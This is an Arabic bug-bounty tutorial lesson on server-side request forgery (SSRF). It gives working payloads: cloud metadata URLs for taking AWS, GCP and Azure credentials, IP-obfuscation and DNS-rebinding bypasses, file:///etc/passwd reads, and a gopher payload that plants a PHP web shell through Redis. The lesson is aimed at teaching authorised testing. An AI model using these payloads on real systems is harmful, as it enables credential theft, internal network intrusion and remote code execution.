الدرس 12 من 24

فئات ثغرات الويب

تزوير طلبات جانب الخادم (SSRF)

3 دقيقة للقراءة

SSRF يخدع الخوادم لإجراء طلبات لمواقع غير مقصودة. إنها ثغرة عالية التأثير يمكن أن تؤدي للوصول للشبكة الداخلية، سرقة بيانات السحابة الوصفية، وRCE.

كيف يعمل SSRF

إدخال المستخدم: https://attacker.com/image.jpg
التطبيق يجلب URL
بدلاً من ذلك: http://169.254.169.254/meta-data/
الخادم يعيد بيانات داخلية للمهاجم

نقاط دخول SSRF الشائعة

الميزةمثال المعامل
معاينة URLurl=، link=
إنشاء PDFdocument_url=
جلب الصورimage_url=، avatar=
Webhookscallback_url=
استيراد الملفاتimport_url=
تكاملات APIendpoint=

اختبار SSRF الأساسي

# الخطوة 1: حدد معاملات URL
GET /fetch?url=https://example.com

# الخطوة 2: اختبر مع callback الخاص بك
GET /fetch?url=https://your-server.com/ssrf-test

# الخطوة 3: تحقق إذا الخادم يجري الطلب
# راقب سجلات خادمك للاتصال الوارد

# الخطوة 4: استهدف الموارد الداخلية
GET /fetch?url=http://127.0.0.1:80
GET /fetch?url=http://localhost/admin
GET /fetch?url=http://192.168.1.1/

استغلال بيانات السحابة الوصفية

AWS

# بيانات المثيل الوصفية
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# احصل على بيانات اعتماد دور IAM
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# بيانات المستخدم (قد تحتوي أسرار)
http://169.254.169.254/latest/user-data/

GCP

# يتطلب رأس: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure

# يتطلب رأس: Metadata: true
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

تقنيات التجاوز

تشويش عنوان IP

# التدوين العشري
http://2130706433/  # = 127.0.0.1

# التدوين السداسي عشري
http://0x7f000001/

# التدوين الثماني
http://0177.0.0.1/

# IPv6
http://[::1]/
http://[0:0:0:0:0:0:0:1]/

# ترميز URL
http://127.0.0.1%00@attacker.com/

إعادة ربط DNS

# أعد DNS ليحل لـ IP داخلي
# الحل الأول: IP المهاجم (يمر من التحقق)
# الحل الثاني: 127.0.0.1 (الطلب الفعلي)

# خدمات مثل rebind.it، nip.io
http://127.0.0.1.nip.io/

تهريب البروتوكول

# بروتوكولات مختلفة
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a  # Redis
dict://127.0.0.1:11211/stats  # Memcached
file:///etc/passwd  # قراءة ملف محلي

SSRF الأعمى

عندما لا يمكنك رؤية الاستجابة:

# الكشف القائم على الوقت
# استهدف نقطة نهاية بطيئة، قس وقت الاستجابة

# الكشف خارج النطاق
# استخدم Burp Collaborator أو مشابه
url=http://<collaborator-id>.burpcollaborator.net/

# استهدف الخدمات الداخلية التي تسبب آثاراً جانبية
# مثل إرسال بريد، إنشاء ملف، تعديل قاعدة البيانات

SSRF إلى RCE

Redis (المنفذ 6379)

# استخدام بروتوكول gopher
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$34%0d%0a%0a%0a<?php system($_GET['c']); ?>%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

الخدمات الداخلية

# Solr admin
http://127.0.0.1:8983/solr/admin/

# Jenkins
http://127.0.0.1:8080/script

# Elasticsearch
http://127.0.0.1:9200/_cluster/health

إثبات التأثير

لتقارير الثغرات، أثبت تأثيراً ملموساً:

## إثبات تأثير SSRF

### الوصول لبيانات AWS الوصفية
- استرجعت بيانات اعتماد IAM للدور: webapp-prod
- بيانات الاعتماد تسمح بإدراج دلاء S3
- 47 دلو متاح بما في ذلك customer-data-backup

### الوصول للشبكة الداخلية
- مسح المنافذ كشف 3 خوادم ويب داخلية
- Jenkins (8080) متاح بدون مصادقة
- Redis (6379) يسمح بالوصول غير المصادق

مكافآت من العالم الحقيقي

الشركةالتأثيرالمكافأة
Shopifyالوصول لبيانات AWS الوصفية25,000 دولار
GitLabمسح الشبكة الداخلية10,000 دولار
Uberالوصول للخدمة الداخلية12,500 دولار
Facebookبيانات السحابة الوصفية15,000 دولار

نصائح الاختبار

  1. تحقق من كل معامل URL: حتى غير المباشرة
  2. اختبر معالجة البروتوكول: file://، gopher://، dict://
  3. جرب تقنيات التجاوز: عندما تفشل الحمولات الأساسية
  4. ارسم الشبكة الداخلية: بمجرد تأكيد SSRF، عدد
  5. سلسل مع ثغرات أخرى: SSRF + خدمة داخلية ضعيفة = حرجة

نصيحة احترافية: بيانات السحابة الوصفية هي الكنز المقدس لـ SSRF. اختبر دائماً 169.254.169.254 أولاً—بيانات الاعتماد المسربة غالباً تعني خطورة حرجة.

الوحدة التالية: سنستكشف تقنيات الاستغلال المتقدمة. :::

مراجعة سريعة: كيف تجد هذا الدرس؟

اختبار

الوحدة 3: فئات ثغرات الويب

خذ الاختبار
نشرة أسبوعية مجانية

ابقَ على مسار النيرد

بريد واحد أسبوعياً — دورات، مقالات معمّقة، أدوات، وتجارب ذكاء اصطناعي.

بدون إزعاج. إلغاء الاشتراك في أي وقت.